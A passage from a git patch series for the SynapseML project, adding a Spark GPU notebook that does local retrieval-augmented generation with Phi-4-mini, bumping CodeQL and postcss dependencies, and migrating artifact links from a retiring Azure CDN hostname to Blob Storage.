"]\n", + "\n", + "if not ci_smoke:\n", + " documents.extend(\n", + " [\n", + " (\n", + " \"earth-atmosphere\",\n", + " \"Earth's atmosphere scatters blue light and protects life from \"\n", + " \"much of the Sun's harmful radiation.\",\n", + " ),\n", + " (\n", + " \"moon\",\n", + " \"The Moon is Earth's only natural satellite and stabilizes the \"\n", + " \"planet's axial wobble.\",\n", + " ),\n", + " ]\n", + " )\n", + "\n", + "indexed_documents = [\n", + " (input_position, document_id, text)\n", + " for input_position, (document_id, text) in enumerate(documents)\n", + "]\n", + "answer_position = next(\n", + " input_position\n", + " for input_position, document_id, _ in indexed_documents\n", + " if document_id == ANSWER_DOCUMENT_ID\n", + ")\n", + "assert answer_position >= retrieve_k\n", + "\n", + "documents_df = spark.createDataFrame(\n", + " indexed_documents, [\"input_position\", \"document_id\", \"text\"]\n", + ").repartition(1)\n", + "question = \"What did astronaut Edgar Mitchell call Earth?\"\n", + "assert documents_df.count() >= retrieve_k" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## 4. Generate normalized sentence embeddings on the GPU\n", + "\n", + "`predict_batch_udf` loads the model once per Python worker and batches Spark rows. The factory checks CUDA inside the worker, avoiding assumptions about the CPU driver. The revision applies to the complete Sentence Transformers snapshot, including its tokenizer, and remote model code stays disabled.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def make_sentence_embedder():\n", + " import torch\n", + " from sentence_transformers import SentenceTransformer\n", + "\n", + " if not torch.cuda.is_available():\n", + " raise RuntimeError(\"Sentence embedding requires a CUDA-enabled Spark worker.\")\n", + "\n", + " model = SentenceTransformer(\n", + " EMBEDDING_MODEL,\n", + " device=\"cuda\",\n", + " revision=EMBEDDING_REVISION,\n", + " trust_remote_code=False,\n", + " )\n", + "\n", + " def predict(text_batch):\n", + " return model.encode(\n", + " text_batch.tolist(),\n", + " batch_size=32,\n", + " convert_to_numpy=True,\n", + " normalize_embeddings=True,\n", + " show_progress_bar=False,\n", + " )\n", + "\n", + " return predict\n", + "\n", + "\n", + "embed = predict_batch_udf(\n", + " make_sentence_embedder,\n", + " return_type=ArrayType(FloatType()),\n", + " batch_size=32,\n", + ")\n", + "\n", + "query_df = spark.createDataFrame(\n", + " [(-1, \"question\", question)], [\"input_position\", \"document_id\", \"text\"]\n", + ")\n", + "texts_to_embed = documents_df.unionByName(query_df).repartition(1)\n", + "embedded_df = texts_to_embed.withColumn(\"embedding\", embed(F.col(\"text\"))).cache()\n", + "\n", + "embedding_sizes = {\n", + " row[\"embedding_size\"]\n", + " for row in embedded_df.select(F.size(\"embedding\").alias(\"embedding_size\"))\n", + " .distinct()\n", + " .collect()\n", + "}\n", + "assert embedding_sizes == {384}, f\"Unexpected embedding sizes: {embedding_sizes}\"" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## 5. Retrieve context with exact cosine similarity on the GPU\n", + "\n", + "For this tutorial-sized corpus, exact scoring is easier to understand and validate than an approximate index. Both embeddings are already normalized, but cosine similarity keeps the retrieval step explicit. A persisted `input_position` puts the answer document outside the first `retrieve_k` corpus rows. The smoke checks compare Spark's top-k with an independent Python sort of every scored row, require the answer to rank first with a strictly higher finite score, and prove that taking the first input rows would miss it. The GPU KNN quickstarts show scalable indexed alternatives.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "@pandas_udf(FloatType())\n", + "def gpu_cosine_similarity(\n", + " document_embeddings: pd.Series, query_embeddings: pd.Series\n", + ") -> pd.Series:\n", + " import torch\n", + "\n", + " if not torch.cuda.is_available():\n", + " raise RuntimeError(\"Similarity scoring requires a CUDA-enabled Spark worker.\")\n", + "\n", + " document_tensor = torch.as_tensor(\n", + " np.stack(document_embeddings.to_list()), dtype=torch.float32, device=\"cuda\"\n", + " )\n", + " query_tensor = torch.as_tensor(\n", + " np.stack(query_embeddings.to_list()), dtype=torch.float32, device=\"cuda\"\n", + " )\n", + " scores = torch.nn.functional.cosine_similarity(document_tensor, query_tensor, dim=1)\n", + " return pd.Series(scores.detach().cpu().numpy())\n", + "\n", + "\n", + "document_embeddings = embedded_df.filter(F.col(\"document_id\") != \"question\")\n", + "query_embedding = embedded_df.filter(F.col(\"document_id\") == \"question\").select(\n", + " F.col(\"embedding\").alias(\"query_embedding\")\n", + ")\n", + "\n", + "scored_df = (\n", + " document_embeddings.crossJoin(query_embedding)\n", + " .repartition(1)\n", + " .withColumn(\n", + " \"similarity\",\n", + " gpu_cosine_similarity(F.col(\"embedding\"), F.col(\"query_embedding\")),\n", + " )\n", + " .cache()\n", + ")\n", + "ranked_df = scored_df.orderBy(F.desc(\"similarity\"), F.asc(\"input_position\"))\n", + "\n", + "scored_rows = scored_df.select(\n", + " \"input_position\", \"document_id\", \"text\", \"similarity\"\n", + ").collect()\n", + "all_similarities = [row[\"similarity\"] for row in scored_rows]\n", + "assert all(np.isfinite(all_similarities)), all_similarities\n", + "\n", + "expected_rows = sorted(\n", + " scored_rows, key=lambda row: (-row[\"similarity\"], row[\"input_position\"])\n", + ")\n", + "retrieved_rows = (\n", + " ranked_df.select(\"input_position\", \"document_id\", \"text\", \"similarity\")\n", + " .limit(retrieve_k)\n", + " .collect()\n", + ")\n", + "assert len(retrieved_rows) == retrieve_k\n", + "assert [row[\"document_id\"] for row in retrieved_rows] == [\n", + " row[\"document_id\"] for row in expected_rows[:retrieve_k]\n", + "]\n", + "\n", + "fallback_ids = [\n", + " row[\"document_id\"]\n", + " for row in sorted(scored_rows, key=lambda row: row[\"input_position\"])[:retrieve_k]\n", + "]\n", + "assert ANSWER_DOCUMENT_ID not in fallback_ids, fallback_ids\n", + "assert retrieved_rows[0][\"document_id\"] == ANSWER_DOCUMENT_ID, retrieved_rows\n", + "assert retrieved_rows[0][\"similarity\"] > retrieved_rows[1][\"similarity\"], retrieved_rows\n", + "\n", + "context = \"\\n\\n\".join(row[\"text\"] for row in retrieved_rows)\n", + "if ci_smoke:\n", + " assert \"sparkling blue and white jewel\" in retrieved_rows[0][\"text\"].lower()\n", + "\n", + "spark.createDataFrame(retrieved_rows).show(truncate=False)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## 6. Generate a grounded answer with Phi-4-mini\n", + "\n", + "Use `max_new_tokens`, not a fixed total sequence length, so the retrieved context and generated answer cannot conflict. Greedy decoding makes the smoke assertion repeatable. The pinned Phi snapshot is resolved on the single Spark worker and then used as a local path, forcing the model and tokenizer to load the same immutable files. Transformers 4.49 supports this model's native `phi3` architecture, so remote model code is disabled. The checkpoint advertises BF16, but a T4 (compute capability 7.5) has no native BF16 support, so model loading explicitly overrides it with FP16.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from synapse.ml.hf import HuggingFaceCausalLM\n", + "\n", + "\n", + "@pandas_udf(StringType())\n", + "def resolve_generation_snapshot(values: pd.Series) -> pd.Series:\n", + " from huggingface_hub import snapshot_download\n", + "\n", + " snapshot_path = snapshot_download(\n", + " repo_id=GENERATION_MODEL,\n", + " revision=GENERATION_REVISION,\n", + " allow_patterns=[\"*.json\", \"*.safetensors\", \"*.txt\"],\n", + " )\n", + " return pd.Series([snapshot_path] * len(values))\n", + "\n", + "\n", + "generation_snapshot = (\n", + " spark.range(1)\n", + " .repartition(1)\n", + " .select(resolve_generation_snapshot(F.col(\"id\")).alias(\"snapshot\"))\n", + " .first()[\"snapshot\"]\n", + ")\n", + "assert generation_snapshot.replace(\"\\\\\", \"/\").endswith(\n", + " f\"/snapshots/{GENERATION_REVISION}\"\n", + "), f\"Unexpected generation snapshot: {generation_snapshot}\"\n", + "\n", + "prompt = f\"\"\"Use only the context below to answer the question. If the answer is not in the context, say \"I don't know.\"\n", + "\n", + "Context:\n", + "{context}\n", + "\n", + "Question: {question}\n", + "Answer in one concise sentence.\"\"\"\n", + "\n", + "prompt_df = spark.createDataFrame([(prompt,)], [\"prompt\"]).repartition(1)\n", + "phi = (\n", + " HuggingFaceCausalLM()\n", + " .setModelName(generation_snapshot)\n", + " .setInputCol(\"prompt\")\n", + " .setOutputCol(\"answer\")\n", + " .setTask(\"chat\")\n", + " .setModelParam(max_new_tokens=generation_tokens, do_sample=False)\n", + " .setModelConfig(\n", + " device_map=\"cuda\",\n", + " torch_dtype=\"float16\",\n", + " local_files_only=True,\n", + " trust_remote_code=False,\n", + " )\n", + ")\n", + "\n", + "answer = phi.transform(prompt_df).select(\"answer\").first()[\"answer\"].strip()\n", + "assert answer, \"Phi returned an empty answer.\"\n", + "if ci_smoke:\n", + " assert \"jewel\" in answer.lower(), f\"Unexpected grounded answer: {answer}\"\n", + "print(answer)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## 7. Next steps\n", + "\n", + "This notebook validates the integration seam among Spark GPU UDFs, local vector retrieval, and SynapseML's distributed Hugging Face generation. For production data:\n", + "\n", + "- use the PDF Q&A quickstart's ingestion and chunking stages;\n", + "- use an indexed GPU KNN implementation when exact scoring no longer fits the corpus; and\n", + "- cache model weights in shared storage as shown in the standalone Phi quickstart.\n" + ] + } + ], + "metadata": { + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/website/sidebars.js b/website/sidebars.js index d8b0dcf5e63..0ddca96960b 100644 --- a/website/sidebars.js +++ b/website/sidebars.js @@ -68,6 +68,7 @@ module.exports = { "Explore Algorithms/Deep Learning/Quickstart - ONNX Model Inference", "Explore Algorithms/Deep Learning/Quickstart - Transfer Learn for Image Classification", "Explore Algorithms/Deep Learning/Quickstart - Apply Phi Model with HuggingFace CausalLM", + "Explore Algorithms/Deep Learning/Quickstart - End-to-end Local RAG with Phi Model", "Explore Algorithms/Deep Learning/Quickstart - Chat Completion with Azure AI Foundry Model", ], }, From 9329e6da1a19466608ba82bd5544b46f8bea673f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 3 Aug 2026 23:50:06 -0700 Subject: [PATCH 19/93] chore(deps): bump github/codeql-action/autobuild from 4.37.3 to 4.37.5 (#2601) * chore(deps): bump github/codeql-action/autobuild from 4.37.3 to 4.37.5 --------- Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com> Co-authored-by: ranadeepsingh <16433904+ranadeepsingh@users.noreply.github.com> Co-authored-by: Rana Singh --- .github/workflows/codeql.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index c1e8cb6f457..9fc08dfdcf6 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -46,7 +46,7 @@ jobs: # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL - uses: github/codeql-action/init@e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81 # v4 + uses: github/codeql-action/init@v4.37.5 with: languages: ${{ matrix.language }} # Explicitly set source-root to handle runner directory naming @@ -56,7 +56,7 @@ jobs: # Autobuild attempts to build any compiled languages (C/C++, C#, Go, or Java). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild - uses: github/codeql-action/autobuild@e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81 # v4 + uses: github/codeql-action/autobuild@v4.37.5 # ℹ️ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun @@ -69,6 +69,6 @@ jobs: # ./location_of_script_within_repo/buildscript.sh - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81 # v4 + uses: github/codeql-action/analyze@v4.37.5 with: category: "/language:${{matrix.language}}" From 617ad0f8fc8932d93fc6185cb2547e5ab2c2719a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 4 Aug 2026 00:06:46 -0700 Subject: [PATCH 20/93] chore(deps): bump postcss from 8.5.19 to 8.5.25 in /website (#2603) Bumps [postcss](https://github.com/postcss/postcss) from 8.5.19 to 8.5.25. - [Release notes](https://github.com/postcss/postcss/releases) - [Changelog](https://github.com/postcss/postcss/blob/main/CHANGELOG.md) - [Commits](https://github.com/postcss/postcss/compare/8.5.19...8.5.25) --- updated-dependencies: - dependency-name: postcss dependency-version: 8.5.25 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Rana Singh --- website/package-lock.json | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/website/package-lock.json b/website/package-lock.json index 9e01065dafd..f07c9227a17 100644 --- a/website/package-lock.json +++ b/website/package-lock.json @@ -12968,8 +12968,9 @@ } }, "node_modules/postcss": { - "version": "8.5.19", - "integrity": "sha512-Mz8SaolMd8nB+G13WkORcxQKHZ/NE4xXevtkJHVuG+guo9/wYKlIMTKAqGdEmYOXR2ijPjTYNHssizdaVSUNdQ==", + "version": "8.5.25", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.25.tgz", + "integrity": "sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw==", "funding": [ { "type": "opencollective", @@ -12986,7 +12987,7 @@ ], "license": "MIT", "dependencies": { - "nanoid": "^3.3.12", + "nanoid": "^3.3.16", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, From d6fa6c41faedc54f18d45e388483a50b61b1b3c4 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Tue, 4 Aug 2026 00:37:39 -0700 Subject: [PATCH 21/93] chore: migrate artifact links off retiring Azure CDN (#2589) * chore: migrate artifact links off retiring Azure CDN ## Summary Replace all 400 current-master references to mmlspark.azureedge.net with the repository-owned mmlspark Blob Storage origin across runtime package configuration, release output, examples, documentation, notebooks, and every published documentation version. ## Prompting Intent Recreate the intent of the stale CDN-removal PR on current master only after verifying the supported artifact destination and Azure CDN retirement path. Audit each endpoint use by semantics, preserve package and content paths, validate live artifacts and package resolution, and avoid changing or closing the original PR. ## Linked Sources - Original proposal: https://github.com/microsoft/SynapseML/pull/2326 - Azure CDN retirement FAQ: https://learn.microsoft.com/en-us/azure/cdn/classic-cdn-retirement-faq - Azure CDN migration guidance: https://learn.microsoft.com/en-us/azure/cdn/migrate-tier - Azure Front Door/CDN comparison: https://learn.microsoft.com/en-us/azure/frontdoor/front-door-cdn-comparison ## Rationale SynapseML's release pipeline publishes artifacts directly to the mmlspark storage account, the repository already uses that public Blob Storage origin extensively, and byte-for-byte URL checks confirmed the CDN currently proxies the same content. Using the verified origin removes the retiring CDN hostname without inventing an unverified Front Door name, while preserving Maven, documentation, R-package, model, dataset, and icon path semantics. Historical links that already return 404 retain the same status and are not broadened into unrelated artifact-repair work. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: make R setup independent of retired CDN ## Summary Repair current and versioned R setup guidance so each release installs its six published, version-matched component archives and resolves SynapseML JVM artifacts through Blob Storage. Document the compatibility bypass required by already-published wrappers, correct the Databricks setup and LightGBM example, remove invalid HTML-page Maven repositories from the Docker demo, and add generator/docs regressions. ## Prompting Intent Investigate the review finding that published R archives still register the retired Azure CDN resolver. Make repository-controlled R installation work with that hostname unavailable, avoid claiming that externally published archives were rewritten, validate local and Databricks-oriented resolution paths, and state the exact external publishing prerequisite for a full artifact migration. ## Linked Sources - Original migration PR: https://github.com/microsoft/SynapseML/pull/2326 - Current migration PR: https://github.com/microsoft/SynapseML/pull/2589 - Maven repository review: https://github.com/microsoft/SynapseML/pull/2589#discussion_r3695558709 - Azure CDN retirement FAQ: https://learn.microsoft.com/en-us/azure/cdn/classic-cdn-retirement-faq - Azure Front Door migration guidance: https://learn.microsoft.com/en-us/azure/cdn/migrate-tier - Apache Spark package repository configuration: https://spark.apache.org/docs/3.5.0/configuration.html#runtime-environment ## Rationale Existing release archives cannot be repaired by a source-only change because their generated sparklyr metadata is already published. Version-matched component downloads plus an explicit Blob resolver and `extensions = character()` provide a tested repository-controlled path without racing or misrepresenting external publication. Future generated archives inherit the corrected resolver from PackageUtils; fully repairing historical metadata still requires an authorized regeneration and publish to the `mmlspark/rrr` container (or a replacement release). Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: correct Spark 3.4 compatibility guidance ## Summary Correct the Spark Packages and Python installation snippets so both identify SynapseML 1.0.15 as the compatible release for Spark 3.4 while retaining SynapseML 1.1.3 for Spark 3.5. ## Prompting Intent Address the remaining actionable review feedback on PR #2589 in the existing branch, verify the surrounding compatibility guidance stays consistent, run targeted website validation and code review, and rerun the full PR checks. ## Linked Sources - Pull request and review feedback: https://github.com/microsoft/SynapseML/pull/2589 - Original migration context: https://github.com/microsoft/SynapseML/pull/2326 ## Rationale The Databricks, Fabric, and SBT guidance already distinguishes SynapseML 1.1.3 for Spark 3.5 from 1.0.15 for Spark 3.4. Updating only the two stale explanatory references restores consistency without changing the Spark 3.5 commands that the snippets demonstrate. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- CONTRIBUTING.md | 2 +- README.md | 12 +- .../main/python/synapse/ml/core/init_spark.py | 4 +- .../synapse/ml/downloader/ModelDownloader.py | 2 +- .../synapse/ml/core/env/PackageUtils.scala | 2 +- .../synapse/ml/codegen/VerifyRCodegen.scala | 40 ++++ .../Quickstart - Isolation Forests.ipynb | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...ckstart - Anomalous Access Detection.ipynb | 2 +- docs/Get Started/Install SynapseML.md | 14 +- docs/Reference/Contributor Guide.md | 2 +- docs/Reference/R Setup.md | 182 ++++++++++-------- project/BlobMavenPlugin.scala | 2 +- tools/docker/demo/init_notebook.py | 2 +- .../classification_mmlspark_2E3REACQR.zpln | 4 +- .../simplification_mmlspark.zpln | 2 +- .../mmlsparkExamples/submitjob_2DZ7DHX6E.zpln | 4 +- tools/helm/zeppelin/zeppelin-env.sh | 2 +- website/doctest.py | 2 +- website/src/pages/index.js | 16 +- website/test/rSetupDocs.test.js | 68 +++++++ .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 14 +- .../Reference/Contributor Guide.md | 2 +- .../version-0.11.3/Reference/R Setup.md | 182 ++++++++++-------- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 14 +- .../Reference/Contributor Guide.md | 2 +- .../version-0.11.4/Reference/R Setup.md | 182 ++++++++++-------- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.1/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.10/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.11/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.12/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.13/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.14/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.15/Reference/R Setup.md | 182 ++++++++++-------- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.2/Reference/R Setup.md | 182 ++++++++++-------- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.3/Reference/R Setup.md | 182 ++++++++++-------- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.4/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.5/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.6/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.7/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.8/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 12 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.0.9/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 14 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.1.0/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 14 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.1.1/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 14 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.1.2/Reference/R Setup.md | 182 ++++++++++-------- .../Quickstart - Isolation Forests.md | 2 +- .../Deep Learning/Getting Started.md | 2 +- ...Quickstart - Anomalous Access Detection.md | 2 +- .../Get Started/Install SynapseML.md | 14 +- .../Reference/Contributor Guide.md | 2 +- .../version-1.1.3/Reference/R Setup.md | 182 ++++++++++-------- 141 files changed, 2558 insertions(+), 2052 deletions(-) create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyRCodegen.scala create mode 100644 website/test/rSetupDocs.test.js diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 4386b8dca0f..2556638be7f 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -56,7 +56,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/README.md b/README.md index 6f9577c7815..329fca0b928 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -![SynapseML](https://mmlspark.azureedge.net/icons/mmlspark.svg) +![SynapseML](https://mmlspark.blob.core.windows.net/icons/mmlspark.svg) # Synapse Machine Learning @@ -104,7 +104,7 @@ In Microsoft Fabric notebooks SynapseML is already installed. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -127,7 +127,7 @@ In Azure Synapse notebooks please place the following in the first cell of your "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.1.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -143,7 +143,7 @@ In Azure Synapse notebooks please place the following in the first cell of your "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.15", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -159,7 +159,7 @@ In Azure Synapse notebooks please place the following in the first cell of your "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -179,7 +179,7 @@ coordinates](https://docs.databricks.com/user-guide/libraries.html#libraries-fro in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.1.3` -with the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +with the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. If you encounter Netty dependency issues please use DBR 10.1. diff --git a/core/src/main/python/synapse/ml/core/init_spark.py b/core/src/main/python/synapse/ml/core/init_spark.py index 0f218102a15..0245b2f907e 100644 --- a/core/src/main/python/synapse/ml/core/init_spark.py +++ b/core/src/main/python/synapse/ml/core/init_spark.py @@ -16,7 +16,9 @@ def init_spark(): + __spark_package_version__ + ",org.apache.spark:spark-avro_2.12:3.4.1", ) - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") + .config( + "spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven" + ) .config("spark.executor.heartbeatInterval", "60s") .config("spark.sql.shuffle.partitions", 10) .config("spark.sql.crossJoin.enabled", "true") diff --git a/core/src/main/python/synapse/ml/downloader/ModelDownloader.py b/core/src/main/python/synapse/ml/downloader/ModelDownloader.py index 250d47bf68f..7b4184512ef 100644 --- a/core/src/main/python/synapse/ml/downloader/ModelDownloader.py +++ b/core/src/main/python/synapse/ml/downloader/ModelDownloader.py @@ -9,7 +9,7 @@ from pyspark.ml.param.shared import * from synapse.ml.core.schema.Utils import * -DEFAULT_URL = "https://mmlspark.azureedge.net/datasets/CNTKModels/" +DEFAULT_URL = "https://mmlspark.blob.core.windows.net/datasets/CNTKModels/" class ModelSchema: diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/env/PackageUtils.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/env/PackageUtils.scala index 2ec9ae35cf5..3a7b7503a22 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/env/PackageUtils.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/env/PackageUtils.scala @@ -9,7 +9,7 @@ import 